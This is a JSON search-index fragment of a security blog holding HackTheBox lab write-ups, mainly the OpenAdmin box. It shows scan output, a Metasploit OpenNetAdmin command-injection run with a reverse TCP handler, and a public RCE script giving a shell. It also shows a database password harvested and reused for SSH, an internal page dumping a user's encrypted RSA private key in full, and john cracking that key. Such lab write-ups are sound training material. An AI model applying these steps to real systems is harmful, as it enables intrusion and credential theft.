class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eServer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eThu\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e23\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2020\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e13\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e11\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGMT\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"directory-scanning\"\u003eDirectory Scanning\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eroot\u003c/span\u003e\u003cspan class=\"o\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003elocalhost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e~/\u003c/span\u003e\u003cspan class=\"n\"\u003eHTB\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003egrandpa\u003c/span\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edirb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escans\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003edirb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etxt\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-----------------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDIRB\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"w\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eBy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDark\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRaver\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-----------------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eGENERATED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWORDS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4612\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                          \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e---- Scanning URL: http://10.10.10.14/ ----\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_bin\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e                                    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_bin\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_adm\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"k\"\u003eadmin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edll\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCODE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e200\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"k\"\u003eSIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e195\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e           \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_bin\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_aut\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eauthor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edll\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCODE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e200\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"k\"\u003eSIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e195\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e          \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_bin\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eshtml\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edll\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCODE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e200\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"k\"\u003eSIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e96\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_bin\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003e_vti_aut\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587648955562-30e6bebb-11df-4c2b-8de0-1d08424af646.png\"\u003e\u003c/p\u003e","title":"HackTheBox: Grandpa Notes"},{"content":"Information Gathering 10.10.10.171:\nNmap # nmap -A 10.10.10.171 -oA nmap.tcp Nmap scan report for 10.10.10.171 Host is up (0.34s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 1185/tcp filtered catchpole 2046/tcp filtered sdfunc 2701/tcp filtered sms-rcinfo 2875/tcp filtered dxmessagebase2 24444/tcp filtered unknown Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 354.54 ms 10.10.14.1 2 354.49 ms 10.10.10.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ Port 80: enum more -\u0026gt; OpenNetAdmin # dirb http://10.10.10.171/ -o dirb.scan ---- Scanning URL: http://10.10.10.171/ ---- ==\u0026gt; DIRECTORY: http://10.10.10.171/artwork/ + http://10.10.10.171/index.html (CODE:200|SIZE:10918) ==\u0026gt; DIRECTORY: http://10.10.10.171/music/ + http://10.10.10.171/server-status (CODE:403|SIZE:277) ---- Entering directory: http://10.10.10.171/artwork/ ---- ==\u0026gt; DIRECTORY: http://10.10.10.171/artwork/css/ ==\u0026gt; DIRECTORY: http://10.10.10.171/artwork/fonts/ After looking around, nothing of value. Directory scanning revealed another /music directory:\nAt [http://10.10.10.171/ona/](http://10.10.10.171/ona/) I found a nice thing: OpenNetAdmin 18.1.1\nAfter some searching, msf turned up an rce module, but for some reason it failed:\nmsf5 \u0026gt; use unix/webapp/opennetadmin_ping_cmd_injection ... msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) \u0026gt; run [*] Started reverse TCP handler on 10.10.14.14:4444 [*] Exploiting... [*] Command Stager progress - 100.00% done (703/703 bytes) [*] Exploit completed, but no session was created. I then found another exploit script at https://github.com/amriunix/ona-rce, which ran successfully with www-data privileges, but without permission to read the flag:\nsh$ ls /home/ jimmy joanna sh$ ls /home/jimmy ls: cannot open directory \u0026#39;/home/jimmy\u0026#39;: Permission denied sh$ ls /home/joanna ls: cannot open directory \u0026#39;/home/joanna\u0026#39;: Permission denied Privilege Escalation Found two users: jimmy and joanna\nLinux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Ubuntu 18.04.3 LTS \\n \\l Collected some passwords:\n# /var/www/html/ona/local/config/database_settings.inc.php \u0026lt;?php array ( 0 =\u0026gt; array ( \u0026#39;db_type\u0026#39; =\u0026gt; \u0026#39;mysqli\u0026#39;, \u0026#39;db_host\u0026#39; =\u0026gt; \u0026#39;localhost\u0026#39;, \u0026#39;db_login\u0026#39; =\u0026gt; \u0026#39;ona_sys\u0026#39;, \u0026#39;db_passwd\u0026#39; =\u0026gt; \u0026#39;n1nj4W4rri0R!\u0026#39;, \u0026#39;db_database\u0026#39; =\u0026gt; \u0026#39;ona_default\u0026#39;, \u0026#39;db_debug\u0026#39; =\u0026gt; false, ), /var/www/html/sierra/contact_process.php $to = \u0026#34;rockybd1995@gmail.com\u0026#34;; ... $send = mail($to, $subject, $body, $headers); Using the database password, I logged into jimmy\u0026rsquo;s account via ssh.\nUser jimmy Reading files, I found the files under /var/www/internal. This directory was unreadable with www-data privileges:\njimmy@openadmin:/var/www/internal$ ls index.php logout.php main.php jimmy@openadmin:/var/www/internal$ cat main.php \u0026lt;?php session_start(); if (!isset ($_SESSION[\u0026#39;username\u0026#39;])) { header(\u0026#34;Location: /index.php\u0026#34;); }; # Open Admin Trusted # OpenAdmin $output = shell_exec(\u0026#39;cat /home/joanna/.ssh/id_rsa\u0026#39;); echo \u0026#34;\u0026lt;pre\u0026gt;$output\u0026lt;/pre\u0026gt;\u0026#34;; ?\u0026gt;... jimmy@openadmin:/var/www/internal$ cat index.php if (isset($_POST[\u0026#39;login\u0026#39;]) \u0026amp;\u0026amp; !empty($_POST[\u0026#39;username\u0026#39;]) \u0026amp;\u0026amp; !empty($_POST[\u0026#39;password\u0026#39;])) { if ($_POST[\u0026#39;username\u0026#39;] == \u0026#39;jimmy\u0026#39; \u0026amp;\u0026amp; hash(\u0026#39;sha512\u0026#39;,$_POST[\u0026#39;password\u0026#39;]) == \u0026#39;00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1\u0026#39;) sha512 decrypted: Revealed\nSo how do we abuse the shell exec in main.php? main.php requires us to be logged in. I originally planned to modify the session file to forge a logged-in state, but it turned out I had no permission\u0026hellip; so I had to find another way:\njimmy@openadmin:/etc/php/7.2/cli$ cat php.ini |grep session.save_path ;session.save_path = \u0026#34;/var/lib/php/sessions\u0026#34; I noticed port 52846; I couldn\u0026rsquo;t see the process details, so presumably a high-privilege program was running:\njimmy@openadmin:/var/www/internal$ lsof -i:52846 jimmy@openadmin:/var/www/internal$ netstat -tunlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php \u0026lt;pre\u0026gt;-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN -----END RSA PRIVATE KEY----- \u0026lt;/pre\u0026gt;\u0026lt;html\u0026gt; \u0026lt;h3\u0026gt;Don\u0026#39;t forget your \u0026#34;ninja\u0026#34; password\u0026lt;/h3\u0026gt; Click here to logout \u0026lt;a href=\u0026#34;logout.php\u0026#34; tite = \u0026#34;Logout\u0026#34;\u0026gt;Session \u0026lt;/html\u0026gt; Got joanna\u0026rsquo;s private key, ready to crack it with johntheripper:\npython /usr/share/john/ssh2john.py id_rsa \u0026gt; sshjohn john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn However, I first ran into a problem: rockyou.txt hadn\u0026rsquo;t been decompressed properly. Fixed it with the following method:\nOn Kali, decompress the rockyou.txt.gz file with the following command: sudo gunzip /usr/share/wordlists.gz wc -l /usr/share/wordlists/rockyou.txt ``\nref:https://blog.csdn.net/sdihvai/article/details/103953010#jimmy_27\n","permalink":"https://www.unc.la/en/posts/penetration/de9d6z/","summary":"\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003cp\u003e10.10.10.171:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587380704833-408753ae-e384-41be-80ab-7aa9c04e58a4.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eoA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan 